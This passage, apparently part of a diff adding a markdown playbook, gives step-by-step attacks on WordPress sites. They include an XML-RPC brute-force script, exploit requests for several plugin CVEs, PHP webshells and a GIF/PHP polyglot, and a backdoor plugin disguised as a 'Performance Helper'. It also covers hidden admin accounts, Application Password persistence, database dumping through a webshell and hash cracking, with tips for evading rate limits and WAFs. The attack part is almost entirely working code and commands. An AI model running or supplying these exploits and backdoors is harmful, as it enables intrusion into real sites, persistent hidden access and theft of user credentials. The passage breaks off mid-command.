|
+
|
|
280
|
+
print("=== WordPress Version ===")
|
|
281
|
+
if data.get("version"):
|
|
282
|
+
v = data["version"]
|
|
283
|
+
print(f" Version: {v.get('number', 'unknown')}")
|
|
284
|
+
for vuln in v.get("vulnerabilities", []):
|
|
285
|
+
print(f" [VULN] {vuln['title']} — CVSS: {vuln.get('cvss', {}).get('score', 'N/A')}")
|
|
286
|
+
|
|
287
|
+
print("\n=== Users ===")
|
|
288
|
+
for user in data.get("users", {}).values():
|
|
289
|
+
print(f" {user.get('slug')} (ID: {user.get('id')})")
|
|
290
|
+
|
|
291
|
+
print("\n=== Vulnerable Plugins ===")
|
|
292
|
+
for slug, plugin in data.get("plugins", {}).items():
|
|
293
|
+
vulns = plugin.get("vulnerabilities", [])
|
|
294
|
+
if vulns:
|
|
295
|
+
print(f"\n Plugin: {slug} v{plugin.get('version', {}).get('number', '?')}")
|
|
296
|
+
for v in vulns:
|
|
297
|
+
print(f" [!] {v['title']}")
|
|
298
|
+
print(f" CVSS: {v.get('cvss', {}).get('score', 'N/A')}")
|
|
299
|
+
print(f" Fixed in: {v.get('fixed_in', 'not fixed')}")
|
|
300
|
+
refs = v.get("references", {})
|
|
301
|
+
for cve in refs.get("cve", []):
|
|
302
|
+
print(f" CVE: CVE-{cve}")
|
|
303
|
+
for url in refs.get("url", [])[:2]:
|
|
304
|
+
print(f" Ref: {url}")
|
|
305
|
+
|
|
306
|
+
if __name__ == "__main__":
|
|
307
|
+
parse_wpscan(sys.argv[1])
|
|
308
|
+
```
|
|
309
|
+
|
|
310
|
+
```bash
|
|
311
|
+
python3 parse_wpscan.py /path/to/output/target_wpscan_aggressive.json
|
|
312
|
+
```
|
|
313
|
+
|
|
314
|
+
---
|
|
315
|
+
|
|
316
|
+
### Phase 3: Authentication Attacks
|
|
317
|
+
|
|
318
|
+
**Step 8 — XML-RPC discovery and enumeration**
|
|
319
|
+
|
|
320
|
+
```bash
|
|
321
|
+
# Check if XML-RPC is enabled
|
|
322
|
+
curl -s https://target.com/xmlrpc.php
|
|
323
|
+
|
|
324
|
+
# Should return: "XML-RPC server accepts POST requests only."
|
|
325
|
+
# If it returns 404, XML-RPC is disabled
|
|
326
|
+
|
|
327
|
+
# List available methods
|
|
328
|
+
curl -s -X POST https://target.com/xmlrpc.php \
|
|
329
|
+
-H "Content-Type: text/xml" \
|
|
330
|
+
-d '<?xml version="1.0"?>
|
|
331
|
+
<methodCall>
|
|
332
|
+
<methodName>system.listMethods</methodName>
|
|
333
|
+
<params></params>
|
|
334
|
+
</methodCall>'
|
|
335
|
+
|
|
336
|
+
# Check if multicall is enabled (enables brute force amplification)
|
|
337
|
+
curl -s -X POST https://target.com/xmlrpc.php \
|
|
338
|
+
-H "Content-Type: text/xml" \
|
|
339
|
+
-d '<?xml version="1.0"?>
|
|
340
|
+
<methodCall>
|
|
341
|
+
<methodName>system.multicall</methodName>
|
|
342
|
+
<params>
|
|
343
|
+
<param><value><array><data>
|
|
344
|
+
<value><struct>
|
|
345
|
+
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
|
|
346
|
+
<member><name>params</name><value><array><data>
|
|
347
|
+
<value><string>admin</string></value>
|
|
348
|
+
<value><string>password</string></value>
|
|
349
|
+
</data></array></value></member>
|
|
350
|
+
</struct></value>
|
|
351
|
+
</data></array></value></param>
|
|
352
|
+
</params>
|
|
353
|
+
</methodCall>'
|
|
354
|
+
```
|
|
355
|
+
|
|
356
|
+
**Step 9 — XML-RPC brute force (amplified via multicall)**
|
|
357
|
+
|
|
358
|
+
```python
|
|
359
|
+
#!/usr/bin/env python3
|
|
360
|
+
# xmlrpc_bruteforce.py — amplified brute force via system.multicall
|
|
361
|
+
|
|
362
|
+
import requests
|
|
363
|
+
import sys
|
|
364
|
+
from itertools import islice
|
|
365
|
+
|
|
366
|
+
TARGET = "https://target.com/xmlrpc.php"
|
|
367
|
+
USERNAME = "admin"
|
|
368
|
+
WORDLIST = "/usr/share/wordlists/rockyou.txt"
|
|
369
|
+
BATCH_SIZE = 100 # test 100 passwords per HTTP request
|
|
370
|
+
|
|
371
|
+
def build_multicall(username, passwords):
|
|
372
|
+
calls = ""
|
|
373
|
+
for pw in passwords:
|
|
374
|
+
calls += f"""
|
|
375
|
+
<value><struct>
|
|
376
|
+
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
|
|
377
|
+
<member><name>params</name><value><array><data>
|
|
378
|
+
<value><string>{username}</string></value>
|
|
379
|
+
<value><string>{pw}</string></value>
|
|
380
|
+
</data></array></value></member>
|
|
381
|
+
</struct></value>"""
|
|
382
|
+
return f"""<?xml version="1.0"?>
|
|
383
|
+
<methodCall>
|
|
384
|
+
<methodName>system.multicall</methodName>
|
|
385
|
+
<params><param><value><array><data>{calls}
|
|
386
|
+
</data></array></value></param></params>
|
|
387
|
+
</methodCall>"""
|
|
388
|
+
|
|
389
|
+
def check_responses(passwords, response_text):
|
|
390
|
+
# Successful auth returns isAdmin field; failed returns faultCode
|
|
391
|
+
results = response_text.split("<value><struct>")
|
|
392
|
+
for i, result in enumerate(results[1:], 0):
|
|
393
|
+
if "isAdmin" in result and i < len(passwords):
|
|
394
|
+
return passwords[i]
|
|
395
|
+
return None
|
|
396
|
+
|
|
397
|
+
with open(WORDLIST, encoding="latin-1") as f:
|
|
398
|
+
passwords = [line.strip() for line in f if line.strip()]
|
|
399
|
+
|
|
400
|
+
print(f"[*] Starting XML-RPC brute force against {TARGET} for user '{USERNAME}'")
|
|
401
|
+
print(f"[*] Total passwords: {len(passwords)}, batch size: {BATCH_SIZE}")
|
|
402
|
+
|
|
403
|
+
for i in range(0, len(passwords), BATCH_SIZE):
|
|
404
|
+
batch = passwords[i:i+BATCH_SIZE]
|
|
405
|
+
payload = build_multicall(USERNAME, batch)
|
|
406
|
+
try:
|
|
407
|
+
r = requests.post(TARGET, data=payload,
|
|
408
|
+
headers={"Content-Type": "text/xml"},
|
|
409
|
+
timeout=30, verify=False)
|
|
410
|
+
found = check_responses(batch, r.text)
|
|
411
|
+
if found:
|
|
412
|
+
print(f"\n[!!!] CREDENTIALS FOUND: {USERNAME}:{found}")
|
|
413
|
+
sys.exit(0)
|
|
414
|
+
print(f"[*] Tested {i+len(batch)}/{len(passwords)}", end="\r")
|
|
415
|
+
except Exception as e:
|
|
416
|
+
print(f"\n[!] Error: {e}")
|
|
417
|
+
|
|
418
|
+
print("\n[-] Password not found in wordlist")
|
|
419
|
+
```
|
|
420
|
+
|
|
421
|
+
**Step 10 — WPScan brute force (wp-login.php)**
|
|
422
|
+
|
|
423
|
+
```bash
|
|
424
|
+
# Single user brute force
|
|
425
|
+
wpscan --url https://target.com \
|
|
426
|
+
--passwords /usr/share/wordlists/rockyou.txt \
|
|
427
|
+
--usernames admin \
|
|
428
|
+
--max-threads 10 \
|
|
429
|
+
--throttle 500
|
|
430
|
+
|
|
431
|
+
# Multiple users brute force
|
|
432
|
+
wpscan --url https://target.com \
|
|
433
|
+
--passwords /usr/share/wordlists/rockyou.txt \
|
|
434
|
+
--usernames users.txt \
|
|
435
|
+
--max-threads 5
|
|
436
|
+
|
|
437
|
+
# Via XML-RPC (faster, bypass login rate limiting)
|
|
438
|
+
wpscan --url https://target.com \
|
|
439
|
+
--passwords /usr/share/wordlists/rockyou.txt \
|
|
440
|
+
--usernames admin \
|
|
441
|
+
--password-attack xmlrpc-multicall \
|
|
442
|
+
--max-threads 20
|
|
443
|
+
```
|
|
444
|
+
|
|
445
|
+
---
|
|
446
|
+
|
|
447
|
+
### Phase 4: Plugin CVE Exploitation
|
|
448
|
+
|
|
449
|
+
**Step 11 — popup-builder CVE-2024-3673 (Unauthenticated File Upload)**
|
|
450
|
+
|
|
451
|
+
Popup Builder <= 4.3.3 allows unauthenticated file upload via the `sgpbWillBeOpened` AJAX action.
|
|
452
|
+
|
|
453
|
+
```bash
|
|
454
|
+
# Verify vulnerable version
|
|
455
|
+
curl -s "https://target.com/wp-content/plugins/popup-builder/readme.txt" | \
|
|
456
|
+
grep -i 'stable tag'
|
|
457
|
+
|
|
458
|
+
# Check AJAX endpoint is accessible
|
|
459
|
+
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
|
|
460
|
+
-d "action=sgpbWillBeOpened"
|
|
461
|
+
|
|
462
|
+
# Upload webshell via CVE-2024-3673
|
|
463
|
+
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
|
|
464
|
+
-F "action=sgpbWillBeOpened" \
|
|
465
|
+
-F "sgpb-subscribe-form-export=@shell.php;type=application/octet-stream" \
|
|
466
|
+
-F "popup_id=1"
|
|
467
|
+
|
|
468
|
+
# Upload a simple PHP webshell
|
|
469
|
+
cat > /tmp/shell.php << 'EOF'
|
|
470
|
+
<?php
|
|
471
|
+
if(isset($_REQUEST['cmd'])){
|
|
472
|
+
$cmd = $_REQUEST['cmd'];
|
|
473
|
+
system($cmd);
|
|
474
|
+
}
|
|
475
|
+
?>
|
|
476
|
+
EOF
|
|
477
|
+
|
|
478
|
+
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
|
|
479
|
+
-F "action=sgpbWillBeOpened" \
|
|
480
|
+
-F "sgpb-subscribe-form-export=@/tmp/shell.php;type=image/jpeg" \
|
|
481
|
+
--output /dev/null -w "%{http_code}"
|
|
482
|
+
|
|
483
|
+
# Common upload directories to check
|
|
484
|
+
for dir in uploads imports exports sgpb-subscribe; do
|
|
485
|
+
status=$(curl -s -o /dev/null -w "%{http_code}" \
|
|
486
|
+
"https://target.com/wp-content/uploads/$dir/shell.php")
|
|
487
|
+
echo "$dir: $status"
|
|
488
|
+
done
|
|
489
|
+
```
|
|
490
|
+
|
|
491
|
+
**Step 12 — Elementor Pro CVE exploitation**
|
|
492
|
+
|
|
493
|
+
Elementor Pro <= 3.11.6 (CVE-2023-32243) — unauthenticated privilege escalation via broken access control on WooCommerce module.
|
|
494
|
+
|
|
495
|
+
```bash
|
|
496
|
+
# Check Elementor Pro version
|
|
497
|
+
curl -s "https://target.com/wp-content/plugins/elementor-pro/readme.txt" | \
|
|
498
|
+
grep -i 'stable tag\|version'
|
|
499
|
+
|
|
500
|
+
# CVE-2023-32243 — arbitrary options update (requires WooCommerce active)
|
|
501
|
+
# This allows setting admin email and resetting password
|
|
502
|
+
|
|
503
|
+
# Step 1: Update admin email to attacker-controlled address
|
|
504
|
+
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
|
|
505
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
506
|
+
-d "action=elementor_pro_forms_send_form&_nonce=NONCE_HERE&form_id=test&fields[email]=attacker@evil.com&fields[admin_email_address]=attacker@evil.com"
|
|
507
|
+
|
|
508
|
+
# Full exploit using published PoC
|
|
509
|
+
git clone https://github.com/alirezaarzehgar/CVE-2023-32243
|
|
510
|
+
cd CVE-2023-32243
|
|
511
|
+
python3 exploit.py --url https://target.com --email attacker@evil.com
|
|
512
|
+
|
|
513
|
+
# Elementor Pro <= 3.6.0 — authenticated RCE via template import
|
|
514
|
+
# Requires Contributor role or higher
|
|
515
|
+
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
|
|
516
|
+
-b "wordpress_logged_in_HASH=VALUE" \
|
|
517
|
+
-F "action=elementor_ajax" \
|
|
518
|
+
-F "actions={\"action\":\"save_builder\",\"data\":{\"post_id\":1,\"status\":\"autosave\"}}" \
|
|
519
|
+
-F "file=@malicious_template.json"
|
|
520
|
+
```
|
|
521
|
+
|
|
522
|
+
**Step 13 — RevSlider exploitation (historical, still relevant on unpatched sites)**
|
|
523
|
+
|
|
524
|
+
```bash
|
|
525
|
+
# Check for RevSlider (Slider Revolution) — CVE-2014-9734 (file read) still works on very old installs
|
|
526
|
+
curl -s "https://target.com/wp-content/plugins/revslider/readme.txt" | grep -i version
|
|
527
|
+
|
|
528
|
+
# CVE-2014-9734 — arbitrary file read (Slider Revolution <= 4.1.4)
|
|
529
|
+
curl -s "https://target.com/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css&alias=../../../wp-config.php"
|
|
530
|
+
|
|
531
|
+
# CVE-2014-9734 via POST
|
|
532
|
+
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
|
|
533
|
+
-d "action=revslider_ajax_action&client_action=get_captions_css&alias=../../../wp-config.php"
|
|
534
|
+
|
|
535
|
+
# File inclusion payload variants
|
|
536
|
+
curl -s "https://target.com/wp-admin/admin-ajax.php" \
|
|
537
|
+
-d "action=revslider_ajax_action&client_action=get_captions_css&alias=../../../../wp-config.php"
|
|
538
|
+
```
|
|
539
|
+
|
|
540
|
+
**Step 14 — Contact Form 7 exploitation**
|
|
541
|
+
|
|
542
|
+
```bash
|
|
543
|
+
# CF7 <= 5.3.1 (CVE-2020-35489) — unrestricted file upload
|
|
544
|
+
# Check version
|
|
545
|
+
curl -s "https://target.com/wp-content/plugins/contact-form-7/readme.txt" | grep -i 'stable tag'
|
|
546
|
+
|
|
547
|
+
# Upload PHP file disguised as allowed extension
|
|
548
|
+
# First find a form that accepts file uploads (look for input[type=file] in source)
|
|
549
|
+
curl -s https://target.com/contact/ | grep -i 'file\|upload'
|
|
550
|
+
|
|
551
|
+
# Upload exploit — polyglot file (valid image header + PHP code)
|
|
552
|
+
python3 - << 'EOF'
|
|
553
|
+
# Create polyglot GIF+PHP
|
|
554
|
+
with open('/tmp/shell.gif.php', 'wb') as f:
|
|
555
|
+
# GIF header
|
|
556
|
+
f.write(b'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;')
|
|
557
|
+
# PHP payload
|
|
558
|
+
f.write(b'<?php system($_GET["cmd"]); ?>')
|
|
559
|
+
print("Created /tmp/shell.gif.php")
|
|
560
|
+
EOF
|
|
561
|
+
|
|
562
|
+
# Submit form with file upload
|
|
563
|
+
curl -s -X POST "https://target.com/contact/" \
|
|
564
|
+
-F "_wpcf7=FORM_ID" \
|
|
565
|
+
-F "_wpcf7_version=5.3" \
|
|
566
|
+
-F "_wpcf7_locale=en_US" \
|
|
567
|
+
-F "_wpcf7_unit_tag=wpcf7-f1-p2-o1" \
|
|
568
|
+
-F "your-file=@/tmp/shell.gif.php;type=image/gif" \
|
|
569
|
+
-F "your-name=Test User" \
|
|
570
|
+
-F "your-email=test@test.com" \
|
|
571
|
+
-F "your-message=test"
|
|
572
|
+
```
|
|
573
|
+
|
|
574
|
+
**Step 15 — WPML SQLi exploitation**
|
|
575
|
+
|
|
576
|
+
WPML (WordPress Multilingual Plugin) has had multiple SQLi vulnerabilities. CVE-2024-6386 affects WPML <= 4.6.12.
|
|
577
|
+
|
|
578
|
+
```bash
|
|
579
|
+
# Check WPML version
|
|
580
|
+
curl -s "https://target.com/wp-content/plugins/sitepress-multilingual-cms/readme.txt" | \
|
|
581
|
+
grep -i 'stable tag'
|
|
582
|
+
|
|
583
|
+
# CVE-2024-6386 — Authenticated (Contributor+) SQLi via Twig template injection in shortcode
|
|
584
|
+
# Payload via POST to wp-admin/admin-ajax.php
|
|
585
|
+
|
|
586
|
+
# Test for WPML shortcode injection
|
|
587
|
+
curl -s -X POST "https://target.com/wp-admin/admin-ajax.php" \
|
|
588
|
+
-b "wordpress_logged_in_HASH=COOKIE_VALUE" \
|
|
589
|
+
-d "action=wp_ajax_nopriv_wpml_validate_csrf_token&token=TEST"
|
|
590
|
+
|
|
591
|
+
# SQLi via shortcode rendering (authenticated contributor)
|
|
592
|
+
# Inject via post editor, then preview
|
|
593
|
+
PAYLOAD='[wpml_language_selector_widget title="{{7*7}}"]'
|
|
594
|
+
|
|
595
|
+
# sqlmap against WPML endpoint
|
|
596
|
+
sqlmap -u "https://target.com/wp-admin/admin-ajax.php" \
|
|
597
|
+
--data="action=wpml_shortcode&lang=en" \
|
|
598
|
+
--cookie="wordpress_logged_in_HASH=VALUE" \
|
|
599
|
+
--level=5 --risk=3 \
|
|
600
|
+
--dbms=mysql \
|
|
601
|
+
--batch \
|
|
602
|
+
--dump-all \
|
|
603
|
+
--tables
|
|
604
|
+
```
|
|
605
|
+
|
|
606
|
+
---
|
|
607
|
+
|
|
608
|
+
### Phase 5: Post-Authentication Exploitation
|
|
609
|
+
|
|
610
|
+
**Step 16 — wp-config.php and debug.log access**
|
|
611
|
+
|
|
612
|
+
```bash
|
|
613
|
+
# wp-config.php is usually not directly readable, but can be exposed via:
|
|
614
|
+
|
|
615
|
+
# 1. PHP error / debug.log (if WP_DEBUG_LOG is enabled)
|
|
616
|
+
curl -s "https://target.com/wp-content/debug.log" | head -200
|
|
617
|
+
|
|
618
|
+
# Search debug.log for credentials
|
|
619
|
+
curl -s "https://target.com/wp-content/debug.log" | grep -i 'password\|user\|DB_\|secret\|key\|token'
|
|
620
|
+
|
|
621
|
+
# 2. Via LFI in vulnerable plugin
|
|
622
|
+
# Once you have LFI, read wp-config.php
|
|
623
|
+
curl -s "https://target.com/wp-admin/admin-ajax.php?action=VULNERABLE_ACTION&file=../../../wp-config.php"
|
|
624
|
+
|
|
625
|
+
# 3. Via webshell (after successful upload)
|
|
626
|
+
curl -s "https://target.com/wp-content/uploads/shell.php?cmd=cat+../../../wp-config.php"
|
|
627
|
+
|
|
628
|
+
# Parse wp-config.php for credentials
|
|
629
|
+
curl -s "https://target.com/wp-content/uploads/shell.php" \
|
|
630
|
+
--data-urlencode "cmd=php -r \"include '../../../wp-config.php'; echo DB_HOST.':'.DB_NAME.':'.DB_USER.':'.DB_PASSWORD;\"" | \
|
|
631
|
+
grep -v "^$"
|
|
632
|
+
|
|
633
|
+
# Check for .env file (some WP installs use this)
|
|
634
|
+
curl -s "https://target.com/.env"
|
|
635
|
+
curl -s "https://target.com/wp-content/.env"
|
|
636
|
+
|
|
637
|
+
# Check backup files that may contain wp-config.php
|
|
638
|
+
for ext in bak old backup orig ~; do
|
|
639
|
+
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com/wp-config.php.$ext")
|
|
640
|
+
echo "wp-config.php.$ext: $status"
|
|
641
|
+
done
|
|
642
|
+
```
|
|
643
|
+
|
|
644
|
+
**Step 17 — Webshell upload via Theme Editor (admin required)**
|
|
645
|
+
|
|
646
|
+
```bash
|
|
647
|
+
# If you have admin credentials, edit theme files via WP Admin
|
|
648
|
+
# Appearance > Theme Editor > Select a PHP file
|
|
649
|
+
|
|
650
|
+
# Alternatively, via WP-CLI (if accessible)
|
|
651
|
+
wp eval 'system($_GET["cmd"]);' --url=https://target.com
|
|
652
|
+
|
|
653
|
+
# Or inject into functions.php via REST API (admin)
|
|
654
|
+
curl -s -X POST "https://target.com/wp-json/wp/v2/themes" \
|
|
655
|
+
-H "Authorization: Basic $(echo -n 'admin:password' | base64)" \
|
|
656
|
+
-H "Content-Type: application/json" \
|
|
657
|
+
-d '{"status":"active"}'
|
|
658
|
+
|
|
659
|
+
# Plugin upload method (more reliable)
|
|
660
|
+
# Create malicious plugin
|
|
661
|
+
cat > /tmp/backdoor/backdoor.php << 'EOF'
|
|
662
|
+
<?php
|
|
663
|
+
/*
|
|
664
|
+
Plugin Name: WordPress Performance Helper
|
|
665
|
+
Plugin URI: https://wordpress.org
|
|
666
|
+
Description: Performance optimization module
|
|
667
|
+
Version: 1.0
|
|
668
|
+
Author: WP Team
|
|
669
|
+
*/
|
|
670
|
+
if(isset($_REQUEST['rt_cmd'])){
|
|
671
|
+
$key = 'rt_secret_2024';
|
|
672
|
+
if(isset($_REQUEST['k']) && $_REQUEST['k'] === $key){
|
|
673
|
+
system(base64_decode($_REQUEST['rt_cmd']));
|
|
674
|
+
}
|
|
675
|
+
}
|
|
676
|
+
add_action('init', function(){
|
|
677
|
+
if(isset($_COOKIE['rt_session'])){
|
|
678
|
+
system(base64_decode($_COOKIE['rt_cmd']));
|
|
679
|
+
}
|
|
680
|
+
});
|
|
681
|
+
EOF
|
|
682
|
+
|
|
683
|
+
cd /tmp && zip -r backdoor.zip backdoor/
|
|
684
|
+
|
|
685
|
+
# Upload via WordPress admin
|
|
686
|
+
curl -s -X POST "https://target.com/wp-admin/update.php?action=upload-plugin" \
|
|
687
|
+
-b "wordpress_logged_in_HASH=VALUE" \
|
|
688
|
+
-F "pluginzip=@/tmp/backdoor.zip" \
|
|
689
|
+
-F "_wpnonce=NONCE_VALUE" \
|
|
690
|
+
-F "install-plugin-submit=Install Now"
|
|
691
|
+
```
|
|
692
|
+
|
|
693
|
+
**Step 18 — Application Password backdoor (admin required, stealthy)**
|
|
694
|
+
|
|
695
|
+
WordPress Application Passwords (introduced in WP 5.6) allow creating API credentials without changing the main password. This is ideal for persistent access.
|
|
696
|
+
|
|
697
|
+
```bash
|
|
698
|
+
# Create Application Password via REST API
|
|
699
|
+
curl -s -X POST "https://target.com/wp-json/wp/v2/users/1/application-passwords" \
|
|
700
|
+
-u "admin:currentpassword" \
|
|
701
|
+
-H "Content-Type: application/json" \
|
|
702
|
+
-d '{"name":"WP Maintenance Tool"}'
|
|
703
|
+
# Returns: {"uuid":"...","app_id":"...","name":"...","password":"xxxx xxxx xxxx xxxx xxxx xxxx","created":"..."}
|
|
704
|
+
|
|
705
|
+
# Create Application Password via wp-admin (for scripted access)
|
|
706
|
+
curl -s -X POST "https://target.com/wp-admin/user-edit.php" \
|
|
707
|
+
-b "wordpress_logged_in_HASH=VALUE" \
|
|
708
|
+
-d "_wpnonce=NONCE&action=update&user_id=1&new_application_pass_name=Monitoring+Agent"
|
|
709
|
+
|
|
710
|
+
# Use Application Password for API access
|
|
711
|
+
APP_USER="admin"
|
|
712
|
+
APP_PASS="xxxx xxxx xxxx xxxx xxxx xxxx" # from creation response
|
|
713
|
+
|
|
714
|
+
curl -s "https://target.com/wp-json/wp/v2/users" \
|
|
715
|
+
-u "$APP_USER:$APP_PASS"
|
|
716
|
+
|
|
717
|
+
# Use Application Password for XML-RPC (great for maintaining access)
|
|
718
|
+
curl -s -X POST "https://target.com/xmlrpc.php" \
|
|
719
|
+
-H "Content-Type: text/xml" \
|
|
720
|
+
-d "<?xml version=\"1.0\"?>
|
|
721
|
+
<methodCall>
|
|
722
|
+
<methodName>wp.getUsers</methodName>
|
|
723
|
+
<params>
|
|
724
|
+
<param><value><string>1</string></value></param>
|
|
725
|
+
<param><value><string>$APP_USER</string></value></param>
|
|
726
|
+
<param><value><string>$APP_PASS</string></value></param>
|
|
727
|
+
<param><value><array><data></data></array></value></param>
|
|
728
|
+
</params>
|
|
729
|
+
</methodCall>"
|
|
730
|
+
|
|
731
|
+
# Create backdoor admin user via REST API using Application Password
|
|
732
|
+
curl -s -X POST "https://target.com/wp-json/wp/v2/users" \
|
|
733
|
+
-u "$APP_USER:$APP_PASS" \
|
|
734
|
+
-H "Content-Type: application/json" \
|
|
735
|
+
-d '{
|
|
736
|
+
"username": "wp_maintenance",
|
|
737
|
+
"email": "maint@legitimate-looking-domain.com",
|
|
738
|
+
"password": "SecurePassword2024!",
|
|
739
|
+
"roles": ["administrator"],
|
|
740
|
+
"name": "WP Maintenance"
|
|
741
|
+
}'
|
|
742
|
+
```
|
|
743
|
+
|
|
744
|
+
**Step 19 — WP-File-Manager exploitation (CVE-2020-25213)**
|
|
745
|
+
|
|
746
|
+
WP File Manager <= 6.8 — unauthenticated RCE. One of the most critical WordPress CVEs.
|
|
747
|
+
|
|
748
|
+
```bash
|
|
749
|
+
# Check if WP File Manager is installed
|
|
750
|
+
curl -s "https://target.com/wp-content/plugins/wp-file-manager/readme.txt" | grep -i 'stable tag'
|
|
751
|
+
|
|
752
|
+
# CVE-2020-25213 — unauthenticated file upload to wp-content/plugins/wp-file-manager/lib/php/
|
|
753
|
+
curl -s -X POST "https://target.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" \
|
|
754
|
+
-F "cmd=upload" \
|
|
755
|
+
-F "target=l1_Lw" \
|
|
756
|
+
-F "upload[]=@/tmp/shell.php;filename=shell.php"
|
|
757
|
+
|
|
758
|
+
# After upload, access webshell
|
|
759
|
+
curl -s "https://target.com/wp-content/plugins/wp-file-manager/lib/files/shell.php?cmd=id"
|
|
760
|
+
|
|
761
|
+
# Full automated exploit
|
|
762
|
+
python3 - << 'EOF'
|
|
763
|
+
import requests
|
|
764
|
+
import sys
|
|
765
|
+
|
|
766
|
+
TARGET = "https://target.com"
|
|
767
|
+
ENDPOINT = f"{TARGET}/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"
|
|
768
|
+
|
|
769
|
+
WEBSHELL = b'<?php system($_GET["cmd"]); ?>'
|
|
770
|
+
|
|
771
|
+
files = {
|
|
772
|
+
'cmd': (None, 'upload'),
|
|
773
|
+
'target': (None, 'l1_Lw'),
|
|
774
|
+
'upload[]': ('shell.php', WEBSHELL, 'application/x-php')
|
|
775
|
+
}
|
|
776
|
+
|
|
777
|
+
r = requests.post(ENDPOINT, files=files, verify=False)
|
|
778
|
+
print(f"Status: {r.status_code}")
|
|
779
|
+
print(f"Response: {r.text[:500]}")
|
|
780
|
+
|
|
781
|
+
# Test webshell
|
|
782
|
+
shell_url = f"{TARGET}/wp-content/plugins/wp-file-manager/lib/files/shell.php"
|
|
783
|
+
r2 = requests.get(shell_url, params={"cmd": "id"}, verify=False)
|
|
784
|
+
print(f"\nWebshell output: {r2.text}")
|
|
785
|
+
EOF
|
|
786
|
+
```
|
|
787
|
+
|
|
788
|
+
---
|
|
789
|
+
|
|
790
|
+
### Phase 6: Database Extraction
|
|
791
|
+
|
|
792
|
+
**Step 20 — Database dumping via webshell**
|
|
793
|
+
|
|
794
|
+
```bash
|
|
795
|
+
# Once you have webshell access and wp-config.php credentials
|
|
796
|
+
|
|
797
|
+
# Get DB credentials from wp-config.php
|
|
798
|
+
WEBSHELL="https://target.com/wp-content/uploads/shell.php"
|
|
799
|
+
|
|
800
|
+
# Extract DB credentials
|
|
801
|
+
curl -s "$WEBSHELL" --data-urlencode "cmd=grep -E 'DB_(HOST|NAME|USER|PASSWORD)' ../../../wp-config.php"
|
|
802
|
+
|
|
803
|
+
# Dump database via mysqldump through webshell
|
|
804
|
+
curl -s "$WEBSHELL" \
|
|
805
|
+
--data-urlencode "cmd=mysqldump -h DB_HOST -u DB_USER -pDB_PASS DB_NAME wp_users wp_usermeta | head -100"
|
|
806
|
+
|
|
807
|
+
# Dump users table (credentials)
|
|
808
|
+
curl -s "$WEBSHELL" \
|
|
809
|
+
--data-urlencode "cmd=mysql -h DB_HOST -u DB_USER -pDB_PASS DB_NAME -e 'SELECT user_login,user_pass,user_email FROM wp_users;'"
|
|
810
|
+
|
|
811
|
+
# Full dump
|
|
812
|
+
curl -s "$WEBSHELL" \
|
|
813
|
+
--data-urlencode "cmd=mysqldump -h DB_HOST -u DB_USER -pDB_PASS DB_NAME > /tmp/dump.sql && echo DONE"
|
|
814
|
+
|
|
815
|
+
curl -s "$WEBSHELL" \
|
|
816
|
+
--data-urlencode "cmd=cat /tmp/dump.sql" > /path/to/output/db_dump.sql
|
|
817
|
+
```
|
|
818
|
+
|
|
819
|
+
**Step 21 — Password cracking (WordPress uses phpass)**
|
|
820
|
+
|
|
821
|
+
```bash
|
|
822
|
+
# WordPress passwords use phpass with $P$ prefix
|
|
823
|
+
# Extract hashes
|
|
824
|
+
grep -oP '\$P\$[A-Za-z0-9./]{31}' /path/to/output/db_dump.sql > /path/to/output/wp_hashes.txt
|
|
825
|
+
|
|
826
|
+
# Crack with hashcat
|
|
827
|
+
hashcat -m 400 /path/to/output/wp_hashes.txt /usr/share/wordlists/rockyou.txt \
|
|
828
|
+
--force \
|
|
829
|
+
-O \
|
|
830
|
+
--status \
|
|
831
|
+
--status-timer=30
|
|
832
|
+
|
|
833
|
+
# Crack with john
|
|
834
|
+
john /path/to/output/wp_hashes.txt \
|
|
835
|
+
--wordlist=/usr/share/wordlists/rockyou.txt \
|
|
836
|
+
--format=phpass
|
|
837
|
+
|
|
838
|
+
# Show cracked passwords
|
|
839
|
+
john /path/to/output/wp_hashes.txt --show --format=phpass
|
|
840
|
+
```
|
|
841
|
+
|
|
842
|
+
---
|
|
843
|
+
|
|
844
|
+
## 4. Specific Terminal Commands
|
|
845
|
+
|
|
846
|
+
### WPScan Quick Reference
|
|
847
|
+
|
|
848
|
+
```bash
|
|
849
|
+
# Minimum viable scan
|
|
850
|
+
wpscan --url https://TARGET --api-token TOKEN
|
|
851
|
+
|
|
852
|
+
# Full enumeration
|
|
853
|
+
wpscan --url https://TARGET \
|
|
854
|
+
--api-token TOKEN \
|
|
855
|
+
--enumerate u,ap,at,cb,dbe \
|
|
856
|
+
--plugins-detection aggressive \
|
|
857
|
+
--detection-mode aggressive \
|
|
858
|
+
--random-user-agent \
|
|
859
|
+
--throttle 1000 \
|
|
860
|
+
--format json \
|
|
861
|
+
--output scan_$(date +%Y%m%d_%H%M%S).json
|
|
862
|
+
|
|
863
|
+
# Stealth scan (slower, evades basic WAF)
|
|
864
|
+
wpscan --url https://TARGET \
|
|
865
|
+
--api-token TOKEN \
|
|
866
|
+
--enumerate u,ap \
|
|
867
|
+
--detection-mode passive \
|
|
868
|
+
--random-user-agent \
|
|
869
|
+
--throttle 5000 \
|
|
870
|
+
--max-threads 1
|
|
871
|
+
|
|
872
|
+
# Scan through proxy (Burp Suite)
|
|
873
|
+
wpscan --url https://TARGET \
|
|
874
|
+
--proxy http://127.0.0.1:8080 \
|
|
875
|
+
--disable-tls-checks \
|
|
876
|
+
--api-token TOKEN \
|
|
877
|
+
--enumerate ap
|
|
878
|
+
|
|
879
|
+
# Custom user agent (bypass basic WAF rules)
|
|
880
|
+
wpscan --url https://TARGET \
|
|
881
|
+
--api-token TOKEN \
|
|
882
|
+
--enumerate ap \
|
|
883
|
+
